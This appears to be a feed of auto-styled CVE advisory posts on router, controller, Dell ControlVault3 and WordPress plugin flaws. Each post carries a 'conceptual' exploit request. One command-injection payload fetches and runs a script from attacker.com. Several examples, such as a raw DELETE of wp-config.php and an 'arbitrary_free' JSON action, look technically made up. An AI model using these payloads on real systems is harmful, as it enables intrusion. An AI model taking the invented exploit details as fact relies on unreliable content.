Author: Ameeba

CVE-2025-6103: Critical OS Command Injection Vulnerability in Wifi-soft UniBox Controller
Overview

The cybersecurity community has identified a critical vulnerability in the Wifi-soft UniBox Controller, labeled as CVE-2025-6103. This vulnerability affects all versions of the software up to 20250506 and can be exploited remotely through the manipulation of the Password argument in the /billing/test_accesscodelogin.php file leading to os command injection. This vulnerability is particularly alarming as the exploit has been publicly disclosed and the vendor has yet to respond or provide a patch, leaving systems exposed.
Given the potential for system compromise and data leakage, this vulnerability poses a significant risk to any organization using the affected Wifi-soft UniBox Controller versions. It is therefore crucial for IT administrators and cybersecurity professionals to familiarize themselves with this vulnerability and the recommended mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-6103
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Wifi-soft UniBox Controller | Up to 20250506

How the Exploit Works

The vulnerability lies in an unspecified function of the file /billing/test_accesscodelogin.php. By manipulating the Password argument, an attacker can inject arbitrary operating system commands. This is possible due to insufficient input validation by the software, allowing the attacker to control the command executed by the system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. It showcases a malicious HTTP request, where the password parameter is being manipulated to inject an arbitrary OS command:
```
POST /billing/test_accesscodelogin.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=;+os_command_to_be_executed;
```
In this example, `os_command_to_be_executed` would be replaced with the actual OS command the attacker wishes to execute.

Mitigation Guidance

Until the vendor releases a patch for this vulnerability, it is recommended that organizations apply temporary mitigation measures. These can include using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or alert on attempts to exploit this vulnerability. Organizations are also advised to monitor their systems for suspicious activity and to follow basic cybersecurity hygiene practices such as regularly updating and patching systems, and minimizing the use of privileged accounts.
June 20, 2025
CVE-2025-6102: Critical OS Command Injection Vulnerability in Wifi-soft UniBox Controller
Overview

In the ever-evolving landscape of cybersecurity, vulnerabilities are a constant concern for organizations and individuals alike. A recent vulnerability classified as critical, identified as CVE-2025-6102, has been discovered in Wifi-soft UniBox Controllers up to version 20250506. This vulnerability has potentially far-reaching implications, as it affects an unknown functionality of the file /authentication/logout.php – a vital component of the system. The vulnerability is particularly noteworthy due to its severe impact, the ease with which it can be exploited, and the vendor’s current lack of response.

Vulnerability Summary

CVE ID: CVE-2025-6102
Severity: Critical, CVSS score of 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Wifi-soft UniBox Controller | Up to 20250506

How the Exploit Works

The vulnerability occurs due to insufficient sanitization of the ‘mac_address’ argument in the /authentication/logout.php file. An attacker can manipulate this argument to inject arbitrary OS commands. This means that an attacker could execute malicious commands directly on the operating system, bypassing any security measures or controls in place. Since the vulnerability can be exploited remotely, it poses a significant risk to businesses and individuals using the affected software.

Conceptual Example Code

An attacker might exploit the vulnerability by sending a malicious HTTP request like the following:
```
GET /authentication/logout.php?mac_address=;wget%20http://attacker.com/malicious_script.sh%20-O%20/tmp/malicious.sh;%20chmod%20755%20/tmp/malicious.sh;%20/tmp/malicious.sh HTTP/1.1
Host: target.example.com
```
In this example, the attacker uses the ‘mac_address’ parameter to inject a series of commands that download a malicious script from a remote server, make it executable, and then run it on the target system. The semicolons serve to separate each command.

Mitigation Guidance

As the vendor has not yet responded to this disclosure, users are advised to apply a web application firewall (WAF) or intrusion detection system (IDS) as a temporary mitigation measure. These solutions can help detect and prevent exploitation attempts. However, they are not long-term solutions, and users should be prepared to apply a vendor patch as soon as it becomes available. In the meantime, users should also consider disabling or limiting access to the affected functionality, if possible.
June 20, 2025
CVE-2025-6091: Critical Buffer Overflow Vulnerability in H3C GR-3000AX V100R007L50
Overview

The cybersecurity landscape has seen the emergence of yet another vulnerability, CVE-2025-6091, affecting H3C GR-3000AX V100R007L50. This vulnerability is particularly critical as it exposes a buffer overflow within the system, raising the risk of potential data leakage or even full system compromise. The vulnerability is significant because it allows for remote exploitation. The affected function is UpdateWanParamsMulti/UpdateIpv6Params of the file /routing/goform/aspForm. This vulnerability has been made public, increasing the potential risk of exploitation.
Despite the vendor confirming the existence of this issue, they currently have no immediate plans for remediation, assessing the risk as low. This is a concerning stance given the potential ramifications and severity of the vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-6091
Severity: Critical, CVSS Score 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

H3C GR-3000AX | V100R007L50

How the Exploit Works

The vulnerability works by allowing an attacker to manipulate the ‘param’ argument of the UpdateWanParamsMulti/UpdateIpv6Params function in the /routing/goform/aspForm file. This manipulation triggers a buffer overflow, a situation where more data is written into the buffer than it can handle. This overflow can overwrite adjacent memory locations, potentially leading to arbitrary code execution, data corruption, and system crashes.

Conceptual Example Code

The following
conceptual
example illustrates how an attacker might remotely exploit this vulnerability:
```
POST /routing/goform/aspForm HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
UpdateWanParamsMulti=1&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
In the above example, ‘param’ is filled with an excessive amount of ‘A’ characters, causing a buffer overflow.

Recommended Mitigation Strategies

While the vendor has yet to release an official patch to address this vulnerability, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These systems can identify and block malicious activity, lowering the risk of potential exploitation. However, they should not be considered as a long-term solution. Regular monitoring and updating to the latest vendor patches, when available, is still the best defense against vulnerabilities such as CVE-2025-6091.
June 20, 2025
CVE-2025-6098: Critical Buffer Overflow Vulnerability in UTT 进取 750W

Overview

A critical vulnerability has been discovered in devices running UTT 进取 750W up to version 5.0. This vulnerability, identified as CVE-2025-6098, poses a significant threat due to its ability to be exploited remotely, potentially leading to system compromise or data leakage. Given the severity of this vulnerability and the lack of response from the vendor, it is of utmost importance for administrators and users of the affected software to understand the nature of this exploit, its potential impact, and the steps necessary for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-6098
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

UTT 进取 750W | Up to 5.0

How the Exploit Works

The vulnerability exploits the strcpy function in the /goform/setSysAdm file, part of the component API in UTT 进取 750W. The manipulation of the argument passwd1 can trigger a buffer overflow, which may result in erratic program behavior, including memory access errors, incorrect results, a crash, or a breach of system security. This exploit can be initiated remotely, increasing its potential for widespread damage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request performing an action in the /goform/setSysAdm file with a manipulated passwd1 argument:
“`http
POST /goform/setSysAdm HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
passwd1=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

June 20, 2025
CVE-2025-6090: Critical Buffer Overflow Vulnerability in H3C GR-5400AX V100R009L50
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical vulnerability, tracked as CVE-2025-6090, affecting the H3C GR-5400AX V100R009L50. This vulnerability, concerning a buffer overflow, is particularly alarming due to its ability to be exploited remotely, potentially leading to system compromise or data leakage. As our digital landscape intensifies in complexity, understanding and mitigating such vulnerabilities is paramount for maintaining secure systems.

Vulnerability Summary

CVE ID: CVE-2025-6090
Severity: Critical (8.8 CVSS score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

H3C GR-5400AX | V100R009L50

How the Exploit Works

The vulnerability resides within the function UpdateWanparamsMulti/UpdateIpv6params of the file /routing/goform/aspForm. By manipulating the argument ‘param’, an attacker can cause a buffer overflow. A buffer overflow occurs when more data is written to a piece of memory than it can handle, causing it to overflow into adjacent memory spaces. This vulnerability can be exploited remotely, without any user interaction, which significantly broadens the potential attack surface.

Conceptual Example Code

Below is a hypothetical example of how this vulnerability might be exploited. It represents an HTTP POST request to the vulnerable endpoint, containing a malicious payload that causes the buffer overflow.
```
POST /routing/goform/aspForm HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
param=1&data=AAAAAAAAAAAAAAAAAAAA[...5000 A's...]AAAA
```
In this example, the ‘data’ parameter is filled with an excessive amount of ‘A’ characters, causing a buffer overflow in the remote system’s memory.

Mitigation Guidance

At this time, the vendor has recognized the existence of this issue but has not released a patch, assessing the risk as low. However, considering the potential for system compromise or data leakage, users are advised to employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation until a vendor patch is available. These solutions can help to detect and prevent unauthorized access to the system and protect valuable data from being compromised.
June 20, 2025
CVE-2025-5485: A Critical Vulnerability Pertaining to User Name Enumeration in Web Management Interfaces
Overview

The cybersecurity landscape is an ever-evolving battleground, and today we’re spotlighting the recently discovered vulnerability CVE-2025-5485. This concern impacts the web management interfaces of certain systems, potentially posing a significant risk to businesses, institutions, and individual users worldwide. The vulnerability lies in how these systems restrict user names to numerical identifiers, providing a straightforward path for malicious actors to target potential victims.
The reason this vulnerability matters is it could lead to serious implications, including system compromise or data leakage. Furthermore, with a CVSS Severity Score of 8.6, CVE-2025-5485 is a critical issue that demands immediate attention from affected parties and cybersecurity professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-5485
Severity: Critical (CVSS score of 8.6)
Attack Vector: Web-based
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Web Management Interface v1.x | v1.0 to v1.9
Web Management Interface v2.x | v2.0 to v2.5

How the Exploit Works

The vulnerability arises from the way these systems limit user names to numerical identifiers, with a maximum length of 10 digits. This limitation allows a malicious actor to enumerate potential targets by simply incrementing or decrementing from known identifiers, or by generating random digit sequences. Once the attacker identifies a valid user name, they can exploit this vulnerability to compromise the system or leak sensitive data.

Conceptual Example Code

A conceptual example of exploiting this vulnerability might involve a script that sends HTTP requests to the web management interface, cycling through possible user names. Here’s a simplified version of what that might look like:
```
GET /web-interface/login?username=1234567890 HTTP/1.1
Host: target.example.com
```
The script would then analyze the server response to determine if the user name is valid. If it is, the attacker would be one step closer to exploiting the vulnerability.
To mitigate this vulnerability, it is highly recommended to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. The ultimate goal is to prevent unauthorized users from accessing the web management interface, thereby safeguarding your systems from potential compromise or data leakage.
June 20, 2025
CVE-2025-25215: Critical Arbitrary Free Vulnerability in Dell ControlVault3
Overview

CVE-2025-25215 is a critical vulnerability that poses a significant risk to users of Dell ControlVault3 versions prior to 5.15.10.14 and Dell ControlVault3 Plus versions prior to 6.2.26.36. This vulnerability, if exploited, can allow an attacker to potentially compromise the system or cause data leakage. The existence of this vulnerability in an integral part of Dell’s security infrastructure underscores the necessity of maintaining up-to-date software and applying patches promptly as they become available.
This vulnerability is significant because of its potential to undermine the security of both individual systems and enterprise networks. An attacker exploiting this vulnerability could potentially gain unauthorized access to sensitive data or even take full control of a system. As such, it is essential to understand, mitigate, and patch this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-25215
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Dell ControlVault3 | Prior to 5.15.10.14
Dell ControlVault3 Plus | Prior to 6.2.26.36

How the Exploit Works

The CVE-2025-25215 vulnerability exists in the cv_close functionality of Dell ControlVault3 and Dell ControlVault3 Plus. An attacker can exploit this vulnerability by making a specially crafted ControlVault API call that leads to an arbitrary free. The attacker can forge a fake session to trigger this vulnerability, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the vulnerability:
```
POST /cv_close/api HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"session_id": "fake_session_id",
"action": "arbitrary_free"
}
```
In this example, the attacker sends a POST request to the ControlVault API’s cv_close endpoint. The attacker forges a “fake_session_id” and an “arbitrary_free” action, which triggers the vulnerability and potentially leads to system compromise or data leakage.

Recommendations

It is recommended to apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. If immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be a temporary mitigation measure. It is essential to monitor the affected systems for any signs of exploitation until the patch is applied.
Remember, keeping your systems up-to-date and applying patches promptly is one of the most effective ways to protect against vulnerabilities such as CVE-2025-25215.
June 20, 2025
CVE-2025-6065: Arbitrary File Deletion Vulnerability in Image Resizer On The Fly WordPress Plugin
Overview

The world of cybersecurity is no stranger to vulnerabilities. As the digital age continues to expand, so too do the opportunities for cybercriminals to exploit system weaknesses. A recently discovered vulnerability, CVE-2025-6065, has been brought to light, affecting the Image Resizer On The Fly plugin for WordPress. This vulnerability matters because it can lead to arbitrary file deletion, and in turn, remote code execution which can compromise your WordPress site. If you are a user of the plugin, it is crucial to understand this vulnerability and how to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-6065
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Arbitrary file deletion leading to system compromise or data leakage

Affected Products

Product | Affected Versions

Image Resizer On The Fly plugin | Up to and including 1.1

How the Exploit Works

The vulnerability arises due to insufficient file path validation in the ‘delete’ task of the Image Resizer On The Fly plugin in all versions up to, and including, 1.1. This flaw allows unauthenticated attackers to delete arbitrary files on the server. If a critical file such as wp-config.php is deleted, it could pave the way for remote code execution. This occurs as deleting wp-config.php can cause WordPress to fall back to its installation process, during which an attacker can reconfigure the database connection to their advantage.

Conceptual Example Code

The following pseudocode demonstrates how this vulnerability might be exploited:
```
DELETE /path/to/wp-config.php HTTP/1.1
Host: vulnerable-wordpress-site.com
```
An attacker can send a DELETE HTTP request to the server, targeting the wp-config.php file. If the server doesn’t properly validate the requested file path, the wp-config.php file would be deleted, leading to potentially disastrous consequences.

Mitigation Guidance

To mitigate this critical vulnerability, the most straightforward and effective solution is to apply the vendor patch. It is also recommended to use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as temporary mitigation. These solutions will help to monitor and control the incoming and outgoing network traffic based on predetermined security policies, providing an additional layer of protection against potential exploitation of this vulnerability.
June 19, 2025
CVE-2025-25050: Out-of-bounds Write Vulnerability in Dell ControlVault3
Overview

The CVE-2025-25050 vulnerability is a severe issue identified in Dell’s ControlVault3 firmware. This vulnerability, an out-of-bounds write flaw, affects both Dell ControlVault3 versions prior to 5.15.10.14 and Dell ControlVault 3 Plus versions prior to 6.2.26.36. If exploited, it could provide an attacker with the capacity to compromise systems or lead to data leakage, making it a significant concern for organizations and individuals using the affected software. The severity of this vulnerability underscores the need for immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-25050
Severity: High, CVSS score of 8.8
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Dell ControlVault3 | Prior to 5.15.10.14
Dell ControlVault 3 Plus | Prior to 6.2.26.36

How the Exploit Works

The vulnerability lies in the cv_upgrade_sensor_firmware functionality of Dell ControlVault3. The issue takes place when a specially crafted ControlVault API call is made, leading to an out-of-bounds write. This indicates that the vulnerability can be triggered by an attacker issuing an API call that causes the program to write data beyond its allocated memory space. This overflow of data can lead to corruption of valid data, potentially causing the system to crash or, even worse, allowing the attacker to execute arbitrary code.

Conceptual Example Code

Here’s a hypothetical example of how the vulnerability might be exploited. It should be noted that the following is a conceptual representation and may not work in a real-world scenario:
```
POST /api/controlvault/upgrade HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"firmware_version": "6.2.26.35",
"sensor_data": "Here would be the malicious payload causing an overflow..."
}
```
In this request, the attacker would replace the “sensor_data” field with a malicious payload designed to exploit the out-of-bounds write vulnerability.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as possible. Dell has released updates for ControlVault3 and ControlVault3 Plus that address this vulnerability. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation, although this does not provide complete protection against the vulnerability.
June 19, 2025
CVE-2025-24922: Stack-based Buffer Overflow Vulnerability in Dell ControlVault3
Overview

An alarming cybersecurity vulnerability has been discovered in certain versions of Dell ControlVault3 that could lead to arbitrary code execution. Known as CVE-2025-24922, this stack-based buffer overflow vulnerability is capable of compromising systems and leading to potential data leakage, putting both personal and corporate data at risk. Given the severity and potential impact of this vulnerability, it’s crucial for companies and individuals using the affected software to understand and address this risk.

Vulnerability Summary

CVE ID: CVE-2025-24922
Severity: High (8.8 CVSS score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Dell ControlVault3 | Prior to 5.15.10.14
Dell ControlVault3 Plus | Prior to 6.2.26.36

How the Exploit Works

The vulnerability arises from a stack-based buffer overflow issue in the securebio_identify functionality of the affected Dell ControlVault3 versions. An attacker, using a specially crafted malicious cv_object, can trigger this vulnerability by issuing an API call. The overflow can allow the attacker to execute arbitrary code, leading to system compromise or data leakage.

Conceptual Example Code

This vulnerability might be exploited using a malicious API call as shown in the conceptual example below:
```
# Pseudocode
cv_object = create_malicious_cv_object() # The cv_object is crafted in such a way that it triggers the buffer overflow
api_call('securebio_identify', cv_object) # The malicious cv_object is passed to the vulnerable API
```
Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patches as soon as possible. Dell has released updates to address this vulnerability, and these should be applied to all affected systems. The recommended versions are Dell ControlVault3 5.15.10.14 and Dell ControlVault3 Plus 6.2.26.36.
For temporary mitigation, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These can help detect and prevent exploitation attempts while a more permanent solution is being implemented.

Conclusion

The CVE-2025-24922 vulnerability in Dell ControlVault3 is a serious risk that could lead to system compromise or data leakage. It’s crucial for users of the affected software to promptly apply the necessary patches or employ temporary mitigation measures. As we continue to rely heavily on digital systems, understanding and addressing such vulnerabilities is a must for maintaining a secure cyber environment.
June 19, 2025